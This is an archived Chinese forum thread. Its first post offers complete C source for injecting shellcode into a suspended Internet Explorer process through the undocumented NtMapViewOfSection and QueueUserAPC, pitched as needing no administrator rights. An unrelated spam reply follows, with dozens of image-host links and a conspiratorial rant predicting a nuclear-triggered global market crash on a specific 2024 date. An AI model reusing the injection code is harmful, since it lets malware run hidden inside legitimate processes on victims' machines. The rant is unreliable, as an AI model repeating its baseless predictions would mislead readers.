aiai101 发表于 2018-2-27 22:25:47

Ring3 NtMapViewOfSection注入DLL源码

新的注入方式:利用一个未公开函数NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求
#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;


LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;


// 转换偏移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段
Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
            &SectionOffset,
&ViewSize,
            ViewShare,
            0,
Protect);
if (!NT_SUCCESS(Status))
{
// 失败
return NULL;
}

//返回起始地址
   return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// 取ShellCode,任何你想实现的
HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


// 注入shellcode到目标进程地址空间
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

aaa0407 发表于 2024-4-7 16:51:04

https://img.chkaja.com/66710238fa9e2ade.png
https://img.chkaja.com/4ab27f8be5f04140.png
https://img.chkaja.com/e6d60c03237b6ba2.png
https://www.hostpic.org/images/2404070528010307.png
https://www.hostpic.org/images/2404070528050296.png
https://www.hostpic.org/images/2404070528110309.png
https://files.catbox.moe/8kifz5.png
https://files.catbox.moe/zttzwx.png
https://files.catbox.moe/5oeocd.png
https://s2.loli.net/2024/04/07/zpqBNx54ujPWCSe.png
https://s2.loli.net/2024/04/07/XegK3DkQqzhmWRt.png
https://s2.loli.net/2024/04/07/J2GHjFDzAwVX4SK.png
https://b.l3n.co/i/O7AMt0.png
https://c.l3n.co/i/O7AY4D.png
https://a.l3n.co/i/O7AoPq.png
https://images2.imgbox.com/c4/6f/qaGL0lNH_o.png
https://images2.imgbox.com/03/05/1ryprp8z_o.png
https://images2.imgbox.com/1e/fe/AFYMcw8l_o.png
https://img.lls.moe/images/2024/04/07/71934100_202404070738460076840814.png
https://img.lls.moe/images/2024/04/07/71934100_202404070738580314934119.png
https://img.lls.moe/images/2024/04/07/71934100_202404070739080905156984.png
https://p1.xywm.ltd/2024/04/07/6f1e1a8fff9b13b70a216e106be27736.png
https://p1.xywm.ltd/2024/04/07/df47e5f04340a37eb2553bc764fa1805.png
https://p1.xywm.ltd/2024/04/07/dac1ce696887512e5f2fa97420b60be3.png
https://z4a.net/images/2024/04/07/71934100_202404070738460076840814.png
https://z4a.net/images/2024/04/07/71934100_202404070738580314934119.png
https://z4a.net/images/2024/04/07/71934100_202404070739080905156984.png
https://pic.imgdb.cn/item/6611eff968eb9357131d4331.png
https://pic.imgdb.cn/item/6611eff868eb9357131d3b38.png
https://pic.imgdb.cn/item/6611eff968eb9357131d4c38.png
https://p0.meituan.net/dpplatform/0b581f636fc4e74433679b80aead921d2946316.png
https://p1.meituan.net/dpplatform/7ff27b843915dd64900685ff65c7238c394099.png
https://p0.meituan.net/dpplatform/e3ba83e56e6dda3d9e6d945ce45f8d6e835031.png
https://i.niupic.com/images/2024/04/07/hv9z.png
https://i.niupic.com/images/2024/04/07/hv9A.png
https://i.niupic.com/images/2024/04/07/hv9B.png
https://upload.cc/i1/2024/04/07/YnBaC8.png
https://upload.cc/i1/2024/04/07/TB3NMJ.png
https://upload.cc/i1/2024/04/07/VbN0kq.png
https://pomf2.lain.la/f/tf84qu0x.png
https://pomf2.lain.la/f/79byc518.png
https://pomf2.lain.la/f/qrsgxr9s.png


{2024年04月06日}地球崩盘的事件借口是什么?



作者:劳山倒
时间:2024年04月06日 18:43:23    星期六   农历二月廿八
上证综指 3069.30点    恒指 16723.92点    道指 3⑧904.04点



01
即将的,人类最大股市、金融市场大崩盘,18级金融大地震闪击战,
地球崩盘,需要一个事件借口,这个借口,可能是引爆核弹:

一 ,俄乌战争,普京的报复反击,很可能使用核弹;
二,巴以战争,伊朗的报复反击,很可能使用核弹;
三,即便,没有使用核弹,也是,核弹级别的剧烈冲突,足以,让全
人类,吓得尿裤子。
四,战争爆发的时间,很可能是04月08日,2024年的四月八日。
我判断,2024年04月,就是谜底、骗局揭开的时间。

《纽约地区罕见发生4.8级地震!当时联合国安理会正在开会》
cctv国际时讯   2024年04月05日 23:35:48
…… …… 地震发生时,纽约联合国总部正在就巴以问题举行安理会
会议,镜头记录下了地震发生时的情形。
据悉,美国东北部地区的地震比较少见。(央视记者 徐德智 赵淼)
[责任编辑:杨东明 PN301]

《带头闹事的全部绝育!泰国上千只猴子打群架,冲突为何这么严重?》
优美生态环境保卫者   2024-04-05 10:12    吉林
近期,泰国华富里府出现了近千只猴子打群架的罕见现象,引起了广泛关
注。这起事件,不但是猴群打架的数量非常庞大,泰国方面对后续处理的
方式也可谓异常坚决,让我们先来看看这起事件的情况。……


02
人类最大假摔黄金坑,暗黑帝国总冲顶之前的总洗盘;虚惊一场。
哪有什么突发意外谁都没想到??
一切,都是蓄谋已久的精心策划。精心策划的,陷阱。
狼,总要吃羊,无论有没有那条小溪。
一枚小型原子弹的成本大约500万人民币左右,暗黑帝国要剪羊毛了,
1929年以来,92年大牛市的,总剪羊毛。

乌鸫,又叫百舌鸟,是瑞典的国鸟,它的叫声被当做对灾难的预警。
在古希腊传说中,乌鸫象征着珀尔塞福涅{冥后}。


03
附录四篇本人文章,你可以在网上搜一搜:

{2024年3月28日}关注,2024年04月08日。

{2024年3月18日 06:53:38}
页: [1]
查看完整版本: Ring3 NtMapViewOfSection注入DLL源码